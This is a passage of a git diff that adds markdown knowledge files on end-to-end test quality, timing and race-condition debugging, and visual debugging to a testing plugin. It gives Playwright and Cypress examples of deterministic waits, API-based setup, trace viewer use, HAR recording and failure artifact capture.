+  expect(updated.permissions).toContain('read');
+  expect(updated.permissions).toContain('write');
+});
+
+// Test 3: Notification preferences (70 lines)
+test('admin can update notification preferences', async ({ adminPage, seedUser }) => {
+  const user = await seedUser({ email: faker.internet.email() });
+
+  await adminPage.goto(`/admin/users/${user.id}/notifications`);
+  await adminPage.check('[data-testid="email-notifications"]');
+  await adminPage.uncheck('[data-testid="sms-notifications"]');
+  await adminPage.selectOption('[data-testid="frequency"]', 'daily');
+  await adminPage.click('[data-testid="save-preferences"]');
+
+  await expect(adminPage.getByText('Preferences saved')).toBeVisible();
+
+  // Verify preferences
+  const response = await adminPage.request.get(`/api/users/${user.id}/preferences`);
+  const prefs = await response.json();
+  expect(prefs.emailEnabled).toBe(true);
+  expect(prefs.smsEnabled).toBe(false);
+  expect(prefs.frequency).toBe('daily');
+});
+
+// TOTAL: 3 tests × 60 lines avg = 180 lines
+// Each test is focused, debuggable, and under 300 lines
+```
+
+**Key Points**:
+
+- Split monolithic tests into focused scenarios (<300 lines each)
+- Extract common setup into fixtures (auto-runs for each test)
+- Each test validates one concern (user creation, permissions, preferences)
+- Failures are easier to diagnose: "Permission assignment failed" vs "Complete journey failed"
+- Tests can run in parallel (isolated concerns)
+
+### Example 5: Execution Time Optimization
+
+**Context**: When tests take longer than 1.5 minutes, they slow CI pipelines and feedback loops. Optimize by using API setup instead of UI navigation, parallelizing independent operations, and avoiding unnecessary waits.
+
+**Implementation**:
+
+```typescript
+// ❌ BAD: 4-minute test (slow setup, sequential operations)
+test('user completes order - SLOW (4 min)', async ({ page }) => {
+  // Step 1: Manual signup via UI (90 seconds)
+  await page.goto('/signup');
+  await page.fill('[data-testid="email"]', 'buyer@example.com');
+  await page.fill('[data-testid="password"]', 'password123');
+  await page.fill('[data-testid="confirm-password"]', 'password123');
+  await page.fill('[data-testid="name"]', 'Buyer User');
+  await page.click('[data-testid="signup"]');
+  await page.waitForURL('/verify-email'); // Wait for email verification
+  // ... manual email verification flow
+
+  // Step 2: Manual product creation via UI (60 seconds)
+  await page.goto('/admin/products');
+  await page.fill('[data-testid="product-name"]', 'Widget');
+  // ... 20 more fields
+  await page.click('[data-testid="create-product"]');
+
+  // Step 3: Navigate to checkout (30 seconds)
+  await page.goto('/products');
+  await page.waitForTimeout(5000); // Unnecessary hard wait
+  await page.click('[data-testid="product-widget"]');
+  await page.waitForTimeout(3000); // Unnecessary
+  await page.click('[data-testid="add-to-cart"]');
+  await page.waitForTimeout(2000); // Unnecessary
+
+  // Step 4: Complete checkout (40 seconds)
+  await page.goto('/checkout');
+  await page.waitForTimeout(5000); // Unnecessary
+  await page.fill('[data-testid="credit-card"]', '4111111111111111');
+  // ... more form filling
+  await page.click('[data-testid="submit-order"]');
+  await page.waitForTimeout(10000); // Unnecessary
+
+  await expect(page.getByText('Order Confirmed')).toBeVisible();
+
+  // TOTAL: ~240 seconds (4 minutes)
+});
+
+// ✅ GOOD: 45-second test (API setup, parallel ops, deterministic waits)
+test('user completes order', async ({ page, apiRequest }) => {
+  // Step 1: API setup (parallel, 5 seconds total)
+  const [user, product] = await Promise.all([
+    // Create user via API (fast)
+    apiRequest
+      .post('/api/users', {
+        data: createUser({
+          email: 'buyer@example.com',
+          emailVerified: true, // Skip verification
+        }),
+      })
+      .then((r) => r.json()),
+
+    // Create product via API (fast)
+    apiRequest
+      .post('/api/products', {
+        data: createProduct({
+          name: 'Widget',
+          price: 29.99,
+          stock: 10,
+        }),
+      })
+      .then((r) => r.json()),
+  ]);
+
+  // Step 2: Auth setup via storage state (instant, 0 seconds)
+  await page.context().addCookies([
+    {
+      name: 'auth_token',
+      value: user.token,
+      domain: 'localhost',
+      path: '/',
+    },
+  ]);
+
+  // Step 3: Network-first interception BEFORE navigation (10 seconds)
+  const cartPromise = page.waitForResponse('**/api/cart');
+  const orderPromise = page.waitForResponse('**/api/orders');
+
+  await page.goto(`/products/${product.id}`);
+  await page.click('[data-testid="add-to-cart"]');
+  await cartPromise; // Deterministic wait (no hard wait)
+
+  // Step 4: Checkout with network waits (30 seconds)
+  await page.goto('/checkout');
+  await page.fill('[data-testid="credit-card"]', '4111111111111111');
+  await page.fill('[data-testid="cvv"]', '123');
+  await page.fill('[data-testid="expiry"]', '12/25');
+  await page.click('[data-testid="submit-order"]');
+  await orderPromise; // Deterministic wait (no hard wait)
+
+  await expect(page.getByText('Order Confirmed')).toBeVisible();
+  await expect(page.getByText(`Order #${product.id}`)).toBeVisible();
+
+  // TOTAL: ~45 seconds (6x faster)
+});
+
+// Cypress equivalent
+describe('Order Flow', () => {
+  it('should complete purchase quickly', () => {
+    // Step 1: API setup (parallel, fast)
+    const user = createUser({ emailVerified: true });
+    const product = createProduct({ name: 'Widget', price: 29.99 });
+
+    cy.task('db:seed', { users: [user], products: [product] });
+
+    // Step 2: Auth setup via session (instant)
+    cy.setCookie('auth_token', user.token);
+
+    // Step 3: Network-first interception
+    cy.intercept('POST', '**/api/cart').as('addToCart');
+    cy.intercept('POST', '**/api/orders').as('createOrder');
+
+    cy.visit(`/products/${product.id}`);
+    cy.get('[data-cy="add-to-cart"]').click();
+    cy.wait('@addToCart'); // Deterministic wait
+
+    // Step 4: Checkout
+    cy.visit('/checkout');
+    cy.get('[data-cy="credit-card"]').type('4111111111111111');
+    cy.get('[data-cy="cvv"]').type('123');
+    cy.get('[data-cy="expiry"]').type('12/25');
+    cy.get('[data-cy="submit-order"]').click();
+    cy.wait('@createOrder'); // Deterministic wait
+
+    cy.contains('Order Confirmed').should('be.visible');
+    cy.contains(`Order #${product.id}`).should('be.visible');
+  });
+});
+
+// Additional optimization: Shared auth state (0 seconds per test)
+// playwright/support/global-setup.ts
+export default async function globalSetup() {
+  const browser = await chromium.launch();
+  const page = await browser.newPage();
+
+  // Create admin user once for all tests
+  const admin = createUser({ role: 'admin', emailVerified: true });
+  await page.request.post('/api/users', { data: admin });
+
+  // Login once, save session
+  await page.goto('/login');
+  await page.fill('[data-testid="email"]', admin.email);
+  await page.fill('[data-testid="password"]', 'password123');
+  await page.click('[data-testid="login"]');
+
+  // Save auth state for reuse
+  await page.context().storageState({ path: 'playwright/.auth/admin.json' });
+
+  await browser.close();
+}
+
+// Use shared auth in tests (instant)
+test.use({ storageState: 'playwright/.auth/admin.json' });
+
+test('admin action', async ({ page }) => {
+  // Already logged in - no auth overhead (0 seconds)
+  await page.goto('/admin');
+  // ... test logic
+});
+```
+
+**Key Points**:
+
+- Use API for data setup (10-50x faster than UI)
+- Run independent operations in parallel (`Promise.all`)
+- Replace hard waits with deterministic waits (`waitForResponse`)
+- Reuse auth sessions via `storageState` (Playwright) or `setCookie` (Cypress)
+- Skip unnecessary flows (email verification, multi-step signups)
+
+## Integration Points
+
+- **Used in workflows**: `*atdd` (test generation quality), `*automate` (test expansion quality), `*test-review` (quality validation)
+- **Related fragments**:
+  - `network-first.md` - Deterministic waiting strategies
+  - `data-factories.md` - Isolated, parallel-safe data patterns
+  - `fixture-architecture.md` - Setup extraction and cleanup
+  - `test-levels-framework.md` - Choosing appropriate test granularity for speed
+
+## Core Quality Checklist
+
+Every test must pass these criteria:
+
+- [ ] **No Hard Waits** - Use `waitForResponse`, `waitForLoadState`, or element state (not `waitForTimeout`)
+- [ ] **No Conditionals** - Tests execute the same path every time (no if/else, try/catch for flow control)
+- [ ] **< 300 Lines** - Keep tests focused; split large tests or extract setup to fixtures
+- [ ] **< 1.5 Minutes** - Optimize with API setup, parallel operations, and shared auth
+- [ ] **Self-Cleaning** - Use fixtures with auto-cleanup or explicit `afterEach()` teardown
+- [ ] **Explicit Assertions** - Keep `expect()` calls in test bodies, not hidden in helpers
+- [ ] **Unique Data** - Use `faker` for dynamic data; never hardcode IDs or emails
+- [ ] **Parallel-Safe** - Tests don't share state; run successfully with `--workers=4`
+
+_Source: Murat quality checklist, Definition of Done requirements (lines 370-381, 406-422)._
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/timing-debugging.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/timing-debugging.md
new file mode 100644
index 0000000..61ae919
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/timing-debugging.md
@@ -0,0 +1,372 @@
+# Timing Debugging and Race Condition Fixes
+
+## Principle
+
+Race conditions arise when tests make assumptions about asynchronous timing (network, animations, state updates). **Deterministic waiting** eliminates flakiness by explicitly waiting for observable events (network responses, element state changes) instead of arbitrary timeouts.
+
+## Rationale
+
+**The Problem**: Tests pass locally but fail in CI (different timing), or pass/fail randomly (race conditions). Hard waits (`waitForTimeout`, `sleep`) mask timing issues without solving them.
+
+**The Solution**: Replace all hard waits with event-based waits (`waitForResponse`, `waitFor({ state })`). Implement network-first pattern (intercept before navigate). Use explicit state checks (loading spinner detached, data loaded). This makes tests deterministic regardless of network speed or system load.
+
+**Why This Matters**:
+
+- Eliminates flaky tests (0 tolerance for timing-based failures)
+- Works consistently across environments (local, CI, production-like)
+- Faster test execution (no unnecessary waits)
+- Clearer test intent (explicit about what we're waiting for)
+
+## Pattern Examples
+
+### Example 1: Race Condition Identification (Network-First Pattern)
+
+**Context**: Prevent race conditions by intercepting network requests before navigation
+
+**Implementation**:
+
+```typescript
+// tests/timing/race-condition-prevention.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Race Condition Prevention Patterns', () => {
+  test('❌ Anti-Pattern: Navigate then intercept (race condition)', async ({ page, context }) => {
+    // BAD: Navigation starts before interception ready
+    await page.goto('/products'); // ⚠️ Race! API might load before route is set
+
+    await context.route('**/api/products', (route) => {
+      route.fulfill({ status: 200, body: JSON.stringify({ products: [] }) });
+    });
+
+    // Test may see real API response or mock (non-deterministic)
+  });
+
+  test('✅ Pattern: Intercept BEFORE navigate (deterministic)', async ({ page, context }) => {
+    // GOOD: Interception ready before navigation
+    await context.route('**/api/products', (route) => {
+      route.fulfill({
+        status: 200,
+        contentType: 'application/json',
+        body: JSON.stringify({
+          products: [
+            { id: 1, name: 'Product A', price: 29.99 },
+            { id: 2, name: 'Product B', price: 49.99 },
+          ],
+        }),
+      });
+    });
+
+    const responsePromise = page.waitForResponse('**/api/products');
+
+    await page.goto('/products'); // Navigation happens AFTER route is ready
+    await responsePromise; // Explicit wait for network
+
+    // Test sees mock response reliably (deterministic)
+    await expect(page.getByText('Product A')).toBeVisible();
+  });
+
+  test('✅ Pattern: Wait for element state change (loading → loaded)', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // Wait for loading indicator to appear (confirms load started)
+    await page.getByTestId('loading-spinner').waitFor({ state: 'visible' });
+
+    // Wait for loading indicator to disappear (confirms load complete)
+    await page.getByTestId('loading-spinner').waitFor({ state: 'detached' });
+
+    // Content now reliably visible
+    await expect(page.getByTestId('dashboard-data')).toBeVisible();
+  });
+
+  test('✅ Pattern: Explicit visibility check (not just presence)', async ({ page }) => {
+    await page.goto('/modal-demo');
+
+    await page.getByRole('button', { name: 'Open Modal' }).click();
+
+    // ❌ Bad: Element exists but may not be visible yet
+    // await expect(page.getByTestId('modal')).toBeAttached()
+
+    // ✅ Good: Wait for visibility (accounts for animations)
+    await expect(page.getByTestId('modal')).toBeVisible();
+    await expect(page.getByRole('heading', { name: 'Modal Title' })).toBeVisible();
+  });
+
+  test('❌ Anti-Pattern: waitForLoadState("networkidle") in SPAs', async ({ page }) => {
+    // ⚠️ Deprecated for SPAs (WebSocket connections never idle)
+    // await page.goto('/dashboard')
+    // await page.waitForLoadState('networkidle') // May timeout in SPAs
+
+    // ✅ Better: Wait for specific API response
+    const responsePromise = page.waitForResponse('**/api/dashboard');
+    await page.goto('/dashboard');
+    await responsePromise;
+
+    await expect(page.getByText('Dashboard loaded')).toBeVisible();
+  });
+});
+```
+
+**Key Points**:
+
+- Network-first: ALWAYS intercept before navigate (prevents race conditions)
+- State changes: Wait for loading spinner detached (explicit load completion)
+- Visibility vs presence: `toBeVisible()` accounts for animations, `toBeAttached()` doesn't
+- Avoid networkidle: Unreliable in SPAs (WebSocket, polling connections)
+- Explicit waits: Document exactly what we're waiting for
+
+---
+
+### Example 2: Deterministic Waiting Patterns (Event-Based, Not Time-Based)
+
+**Context**: Replace all hard waits with observable event waits
+
+**Implementation**:
+
+```typescript
+// tests/timing/deterministic-waits.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Deterministic Waiting Patterns', () => {
+  test('waitForResponse() with URL pattern', async ({ page }) => {
+    const responsePromise = page.waitForResponse('**/api/products');
+
+    await page.goto('/products');
+    await responsePromise; // Deterministic (waits for exact API call)
+
+    await expect(page.getByText('Products loaded')).toBeVisible();
+  });
+
+  test('waitForResponse() with predicate function', async ({ page }) => {
+    const responsePromise = page.waitForResponse((resp) => resp.url().includes('/api/search') && resp.status() === 200);
+
+    await page.goto('/search');
+    await page.getByPlaceholder('Search').fill('laptop');
+    await page.getByRole('button', { name: 'Search' }).click();
+
+    await responsePromise; // Wait for successful search response
+
+    await expect(page.getByTestId('search-results')).toBeVisible();
+  });
+
+  test('waitForFunction() for custom conditions', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // Wait for custom JavaScript condition
+    await page.waitForFunction(() => {
+      const element = document.querySelector('[data-testid="user-count"]');
+      return element && parseInt(element.textContent || '0') > 0;
+    });
+
+    // User count now loaded
+    await expect(page.getByTestId('user-count')).not.toHaveText('0');
+  });
+
+  test('waitFor() element state (attached, visible, hidden, detached)', async ({ page }) => {
+    await page.goto('/products');
+
+    // Wait for element to be attached to DOM
+    await page.getByTestId('product-list').waitFor({ state: 'attached' });
+
+    // Wait for element to be visible (animations complete)
+    await page.getByTestId('product-list').waitFor({ state: 'visible' });
+
+    // Perform action
+    await page.getByText('Product A').click();
+
+    // Wait for modal to be hidden (close animation complete)
+    await page.getByTestId('modal').waitFor({ state: 'hidden' });
+  });
+
+  test('Cypress: cy.wait() with aliased intercepts', async () => {
+    // Cypress example (not Playwright)
+    /*
+    cy.intercept('GET', '/api/products').as('getProducts')
+    cy.visit('/products')
+    cy.wait('@getProducts') // Deterministic wait for specific request
+
+    cy.get('[data-testid="product-list"]').should('be.visible')
+    */
+  });
+});
+```
+
+**Key Points**:
+
+- `waitForResponse()`: Wait for specific API calls (URL pattern or predicate)
+- `waitForFunction()`: Wait for custom JavaScript conditions
+- `waitFor({ state })`: Wait for element state changes (attached, visible, hidden, detached)
+- Cypress `cy.wait('@alias')`: Deterministic wait for aliased intercepts
+- All waits are event-based (not time-based)
+
+---
+
+### Example 3: Timing Anti-Patterns (What NEVER to Do)
+
+**Context**: Common timing mistakes that cause flakiness
+
+**Problem Examples**:
+
+```typescript
+// tests/timing/anti-patterns.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Timing Anti-Patterns to Avoid', () => {
+  test('❌ NEVER: page.waitForTimeout() (arbitrary delay)', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // ❌ Bad: Arbitrary 3-second wait (flaky)
+    // await page.waitForTimeout(3000)
+    // Problem: Might be too short (CI slower) or too long (wastes time)
+
+    // ✅ Good: Wait for observable event
+    await page.waitForResponse('**/api/dashboard');
+    await expect(page.getByText('Dashboard loaded')).toBeVisible();
+  });
+
+  test('❌ NEVER: cy.wait(number) without alias (arbitrary delay)', async () => {
+    // Cypress example
+    /*
+    // ❌ Bad: Arbitrary delay
+    cy.visit('/products')
+    cy.wait(2000) // Flaky!
+
+    // ✅ Good: Wait for specific request
+    cy.intercept('GET', '/api/products').as('getProducts')
+    cy.visit('/products')
+    cy.wait('@getProducts') // Deterministic
+    */
+  });
+
+  test('❌ NEVER: Multiple hard waits in sequence (compounding delays)', async ({ page }) => {
+    await page.goto('/checkout');
+
+    // ❌ Bad: Stacked hard waits (6+ seconds wasted)
+    // await page.waitForTimeout(2000) // Wait for form
+    // await page.getByTestId('email').fill('test@example.com')
+    // await page.waitForTimeout(1000) // Wait for validation
+    // await page.getByTestId('submit').click()
+    // await page.waitForTimeout(3000) // Wait for redirect
+
+    // ✅ Good: Event-based waits (no wasted time)
+    await page.getByTestId('checkout-form').waitFor({ state: 'visible' });
+    await page.getByTestId('email').fill('test@example.com');
+    await page.waitForResponse('**/api/validate-email');
+    await page.getByTestId('submit').click();
+    await page.waitForURL('**/confirmation');
+  });
+
+  test('❌ NEVER: waitForLoadState("networkidle") in SPAs', async ({ page }) => {
+    // ❌ Bad: Unreliable in SPAs (WebSocket connections never idle)
+    // await page.goto('/dashboard')
+    // await page.waitForLoadState('networkidle') // Timeout in SPAs!
+
+    // ✅ Good: Wait for specific API responses
+    await page.goto('/dashboard');
+    await page.waitForResponse('**/api/dashboard');
+    await page.waitForResponse('**/api/user');
+    await expect(page.getByTestId('dashboard-content')).toBeVisible();
+  });
+
+  test('❌ NEVER: Sleep/setTimeout in tests', async ({ page }) => {
+    await page.goto('/products');
+
+    // ❌ Bad: Node.js sleep (blocks test thread)
+    // await new Promise(resolve => setTimeout(resolve, 2000))
+
+    // ✅ Good: Playwright auto-waits for element
+    await expect(page.getByText('Products loaded')).toBeVisible();
+  });
+});
+```
+
+**Why These Fail**:
+
+- **Hard waits**: Arbitrary timeouts (too short → flaky, too long → slow)
+- **Stacked waits**: Compound delays (wasteful, unreliable)
+- **networkidle**: Broken in SPAs (WebSocket/polling never idle)
+- **Sleep**: Blocks execution (wastes time, doesn't solve race conditions)
+
+**Better Approach**: Use event-based waits from examples above
+
+---
+
+## Async Debugging Techniques
+
+### Technique 1: Promise Chain Analysis
+
+```typescript
+test('debug async waterfall with console logs', async ({ page }) => {
+  console.log('1. Starting navigation...');
+  await page.goto('/products');
+
+  console.log('2. Waiting for API response...');
+  const response = await page.waitForResponse('**/api/products');
+  console.log('3. API responded:', response.status());
+
+  console.log('4. Waiting for UI update...');
+  await expect(page.getByText('Products loaded')).toBeVisible();
+  console.log('5. Test complete');
+
+  // Console output shows exactly where timing issue occurs
+});
+```
+
+### Technique 2: Network Waterfall Inspection (DevTools)
+
+```typescript
+test('inspect network timing with trace viewer', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  // Generate trace for analysis
+  // npx playwright test --trace on
+  // npx playwright show-trace trace.zip
+
+  // In trace viewer:
+  // 1. Check Network tab for API call timing
+  // 2. Identify slow requests (>1s response time)
+  // 3. Find race conditions (overlapping requests)
+  // 4. Verify request order (dependencies)
+});
+```
+
+### Technique 3: Trace Viewer for Timing Visualization
+
+```typescript
+test('use trace viewer to debug timing', async ({ page }) => {
+  // Run with trace: npx playwright test --trace on
+
+  await page.goto('/checkout');
+  await page.getByTestId('submit').click();
+
+  // In trace viewer, examine:
+  // - Timeline: See exact timing of each action
+  // - Snapshots: Hover to see DOM state at each moment
+  // - Network: Identify slow/failed requests
+  // - Console: Check for async errors
+
+  await expect(page.getByText('Success')).toBeVisible();
+});
+```
+
+---
+
+## Race Condition Checklist
+
+Before deploying tests:
+
+- [ ] **Network-first pattern**: All routes intercepted BEFORE navigation (no race conditions)
+- [ ] **Explicit waits**: Every navigation followed by `waitForResponse()` or state check
+- [ ] **No hard waits**: Zero instances of `waitForTimeout()`, `cy.wait(number)`, `sleep()`
+- [ ] **Element state waits**: Loading spinners use `waitFor({ state: 'detached' })`
+- [ ] **Visibility checks**: Use `toBeVisible()` (accounts for animations), not just `toBeAttached()`
+- [ ] **Response validation**: Wait for successful responses (`resp.ok()` or `status === 200`)
+- [ ] **Trace viewer analysis**: Generate traces to identify timing issues (network waterfall, console errors)
+- [ ] **CI/local parity**: Tests pass reliably in both environments (no timing assumptions)
+
+## Integration Points
+
+- **Used in workflows**: `*automate` (healing timing failures), `*test-review` (detect hard wait anti-patterns), `*framework` (configure timeout standards)
+- **Related fragments**: `test-healing-patterns.md` (race condition diagnosis), `network-first.md` (interception patterns), `playwright-config.md` (timeout configuration), `visual-debugging.md` (trace viewer analysis)
+- **Tools**: Playwright Inspector (`--debug`), Trace Viewer (`--trace on`), DevTools Network tab
+
+_Source: Playwright timing best practices, network-first pattern from test-resources-for-ai, production race condition debugging_
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/visual-debugging.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/visual-debugging.md
new file mode 100644
index 0000000..710ec46
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/visual-debugging.md
@@ -0,0 +1,527 @@
+# Visual Debugging and Developer Ergonomics
+
+## Principle
+
+Fast feedback loops and transparent debugging artifacts are critical for maintaining test reliability and developer confidence. Visual debugging tools (trace viewers, screenshots, videos, HAR files) turn cryptic test failures into actionable insights, reducing triage time from hours to minutes.
+
+## Rationale
+
+**The Problem**: CI failures often provide minimal context—a timeout, a selector mismatch, or a network error—forcing developers to reproduce issues locally (if they can). This wastes time and discourages test maintenance.
+
+**The Solution**: Capture rich debugging artifacts **only on failure** to balance storage costs with diagnostic value. Modern tools like Playwright Trace Viewer, Cypress Debug UI, and HAR recordings provide interactive, time-travel debugging that reveals exactly what the test saw at each step.
+
+**Why This Matters**:
+
+- Reduces failure triage time by 80-90% (visual context vs logs alone)
+- Enables debugging without local reproduction
+- Improves test maintenance confidence (clear failure root cause)
+- Catches timing/race conditions that are hard to reproduce locally
+
+## Pattern Examples
+
+### Example 1: Playwright Trace Viewer Configuration (Production Pattern)
+
+**Context**: Capture traces for failures and retries so flaky runs can be compared directly. Prefer `retain-on-failure-and-retries` as the default policy so failed retries can be compared with passing runs.
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts
+import { defineConfig } from '@playwright/test';
+
+export default defineConfig({
+  use: {
+    // Visual debugging artifacts (best signal for flaky triage)
+    trace: 'retain-on-failure-and-retries', // Keep every failed attempt
+    screenshot: 'only-on-failure', // Not on success
+    video: 'retain-on-failure', // Delete on pass
+
+    // Context for debugging
+    baseURL: process.env.BASE_URL || 'http://localhost:3000',
+
+    // Timeout context
+    actionTimeout: 15_000, // 15s for clicks/fills
+    navigationTimeout: 30_000, // 30s for page loads
+  },
+
+  // CI-specific artifact retention
+  reporter: [
+    ['html', { outputFolder: 'playwright-report', open: 'never' }],
+    ['junit', { outputFile: 'results.xml' }],
+    ['list'], // Console output
+  ],
+
+  // Failure handling
+  retries: process.env.CI ? 2 : 0, // Retry in CI to capture trace
+  workers: process.env.CI ? 1 : undefined,
+});
+```
+
+**Opening and Using Trace Viewer**:
+
+```bash
+# After test failure in CI, download trace artifact
+# Then inspect locally:
+npx playwright trace open path/to/trace.zip
+
+# Filter to the failing expectation or action from the terminal
+npx playwright trace actions path/to/trace.zip --grep="expect"
+npx playwright trace action path/to/trace.zip 9
+npx playwright trace snapshot path/to/trace.zip 9 --name after
+
+# Or serve trace viewer:
+npx playwright show-report
+```
+
+**Key Features to Use in Trace Viewer**:
+
+1. **Timeline**: See each action (click, navigate, assertion) with timing
+2. **Snapshots**: Hover over timeline to see DOM state at that moment
+3. **Network Tab**: Inspect all API calls, headers, payloads, timing
+4. **Console Tab**: View console.log/error messages
+5. **Source Tab**: See test code with execution markers
+6. **Metadata**: Browser, OS, test duration, screenshots
+
+**Why This Works**:
+
+- `retain-on-failure-and-retries` preserves enough history to compare the failing retry with a passing run
+- Screenshots + video give visual context without trace overhead
+- Interactive timeline makes timing issues obvious (race conditions, slow API)
+
+---
+
+### Example 2: HAR File Recording for Network Debugging
+
+**Context**: Capture all network activity for reproducible API debugging
+
+**Implementation**:
+
+```typescript
+// tests/e2e/checkout-with-har.spec.ts
+import { test, expect } from '@playwright/test';
+import path from 'path';
+
+test.describe('Checkout Flow with HAR Recording', () => {
+  test('should complete payment with full network capture', async ({ page, context }) => {
+    // Start HAR recording BEFORE navigation
+    await context.routeFromHAR(path.join(__dirname, '../fixtures/checkout.har'), {
+      url: '**/api/**', // Only capture API calls
+      update: true, // Update HAR if file exists
+    });
+
+    await page.goto('/checkout');
+
+    // Interact with page
+    await page.getByTestId('payment-method').selectOption('credit-card');
+    await page.getByTestId('card-number').fill('4242424242424242');
+    await page.getByTestId('submit-payment').click();
+
+    // Wait for payment confirmation
+    await expect(page.getByTestId('success-message')).toBeVisible();
+
+    // HAR file saved to fixtures/checkout.har
+    // Contains all network requests/responses for replay
+  });
+});
+```
+
+**Using HAR for Deterministic Mocking**:
+
+```typescript
+// tests/e2e/checkout-replay-har.spec.ts
+import { test, expect } from '@playwright/test';
+import path from 'path';
+
+test('should replay checkout flow from HAR', async ({ page, context }) => {
+  // Replay network from HAR (no real API calls)
+  await context.routeFromHAR(path.join(__dirname, '../fixtures/checkout.har'), {
+    url: '**/api/**',
+    update: false, // Read-only mode
+  });
+
+  await page.goto('/checkout');
+
+  // Same test, but network responses come from HAR file
+  await page.getByTestId('payment-method').selectOption('credit-card');
+  await page.getByTestId('card-number').fill('4242424242424242');
+  await page.getByTestId('submit-payment').click();
+
+  await expect(page.getByTestId('success-message')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- **`update: true`** records new HAR or updates existing (for flaky API debugging)
+- **`update: false`** replays from HAR (deterministic, no real API)
+- Filter by URL pattern (`**/api/**`) to avoid capturing static assets
+- HAR files are human-readable JSON (easy to inspect/modify)
+
+**When to Use HAR**:
+
+- Debugging flaky tests caused by API timing/responses
+- Creating deterministic mocks for integration tests
+- Analyzing third-party API behavior (Stripe, Auth0)
+- Reproducing production issues locally (record HAR in staging)
+
+---
+
+### Example 3: Custom Artifact Capture (Console Logs + Network on Failure)
+
+**Context**: Capture additional debugging context automatically on test failure
+
+**Implementation**:
+
+```typescript
+// playwright/support/fixtures/debug-fixture.ts
+import { test as base, type Request } from '@playwright/test';
+import fs from 'fs';
+import path from 'path';
+
+type DebugFixture = {
+  captureDebugArtifacts: () => Promise<void>;
+};
+
+export const test = base.extend<DebugFixture>({
+  captureDebugArtifacts: async ({ page }, use, testInfo) => {
+    await use(async () => {
+      // This function can be called manually in tests
+      // But it also runs automatically on failure via afterEach
+    });
+
+    // After test completes, save artifacts if failed
+    if (testInfo.status !== testInfo.expectedStatus) {
+      const artifactDir = path.join(testInfo.outputDir, 'debug-artifacts');
+      fs.mkdirSync(artifactDir, { recursive: true });
+
+      const consoleLogs = (await page.consoleMessages()).map((msg) => `[${msg.type()} @ ${msg.timestamp().toISOString()}] ${msg.text()}`);
+      const pageErrors = (await page.pageErrors()).map((error) => ({
+        name: error.name,
+        message: error.message,
+        stack: error.stack,
+      }));
+      const networkRequests = await Promise.all(
+        (await page.requests()).map(async (request: Request) => {
+          const response = await request.response();
+          return {
+            url: request.url(),
+            method: request.method(),
+            status: response?.status() ?? 0,
+          };
+        }),
+      );
+
+      // Save console logs
+      fs.writeFileSync(path.join(artifactDir, 'console.log'), consoleLogs.join('\n'), 'utf-8');
+
+      // Save page errors
+      fs.writeFileSync(path.join(artifactDir, 'page-errors.json'), JSON.stringify(pageErrors, null, 2), 'utf-8');
+
+      // Save network summary
+      fs.writeFileSync(path.join(artifactDir, 'network.json'), JSON.stringify(networkRequests, null, 2), 'utf-8');
+
+      console.log(`Debug artifacts saved to: ${artifactDir}`);
+    }
+  },
+});
+```
+
+**Usage in Tests**:
+
+```typescript
+// tests/e2e/payment-with-debug.spec.ts
+import { test, expect } from '../support/fixtures/debug-fixture';
+
+test('payment flow captures debug artifacts on failure', async ({ page, captureDebugArtifacts }) => {
+  await page.goto('/checkout');
+
+  // Test will automatically capture console + network on failure
+  await page.getByTestId('submit-payment').click();
+  await expect(page.getByTestId('success-message')).toBeVisible({ timeout: 5000 });
+
+  // If this fails, console.log and network.json saved automatically
+});
+```
+
+**CI Integration (GitHub Actions)**:
+
+```yaml
+# .github/workflows/e2e.yml
+name: E2E Tests with Artifacts
+on: [push, pull_request]
+
+jobs:
+  test:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Run Playwright tests
+        run: npm run test:e2e
+        continue-on-error: true # Capture artifacts even on failure
+
+      - name: Upload test artifacts on failure
+        if: failure()
+        uses: actions/upload-artifact@v4
+        with:
+          name: playwright-artifacts
+          path: |
+            test-results/
+            playwright-report/
+          retention-days: 30
+```
+
+**Key Points**:
+
+- Fixtures automatically capture context without polluting test code
+- Only saves artifacts on failure (storage-efficient)
+- CI uploads artifacts for post-mortem analysis
+- `continue-on-error: true` ensures artifact upload even when tests fail
+
+---
+
+### Example 4: Accessibility Debugging Integration (axe-core in Trace Viewer)
+
+**Context**: Catch accessibility regressions during visual debugging
+
+**Implementation**:
+
+```typescript
+// playwright/support/fixtures/a11y-fixture.ts
+import { test as base } from '@playwright/test';
+import AxeBuilder from '@axe-core/playwright';
+
+type A11yFixture = {
+  checkA11y: () => Promise<void>;
+};
+
+export const test = base.extend<A11yFixture>({
+  checkA11y: async ({ page }, use) => {
+    await use(async () => {
+      // Run axe accessibility scan
+      const results = await new AxeBuilder({ page }).analyze();
+
+      // Attach results to test report (visible in trace viewer)
+      if (results.violations.length > 0) {
+        console.log(`Found ${results.violations.length} accessibility violations:`);
+        results.violations.forEach((violation) => {
+          console.log(`- [${violation.impact}] ${violation.id}: ${violation.description}`);
+          console.log(`  Help: ${violation.helpUrl}`);
+        });
+
+        throw new Error(`Accessibility violations found: ${results.violations.length}`);
+      }
+    });
+  },
+});
+```
+
+**Usage with Visual Debugging**:
+
+```typescript
+// tests/e2e/checkout-a11y.spec.ts
+import { test, expect } from '../support/fixtures/a11y-fixture';
+
+test('checkout page is accessible', async ({ page, checkA11y }) => {
+  await page.goto('/checkout');
+
+  // Verify page loaded
+  await expect(page.getByRole('heading', { name: 'Checkout' })).toBeVisible();
+
+  // Run accessibility check
+  await checkA11y();
+
+  // If violations found, test fails and trace captures:
+  // - Screenshot showing the problematic element
+  // - Console log with violation details
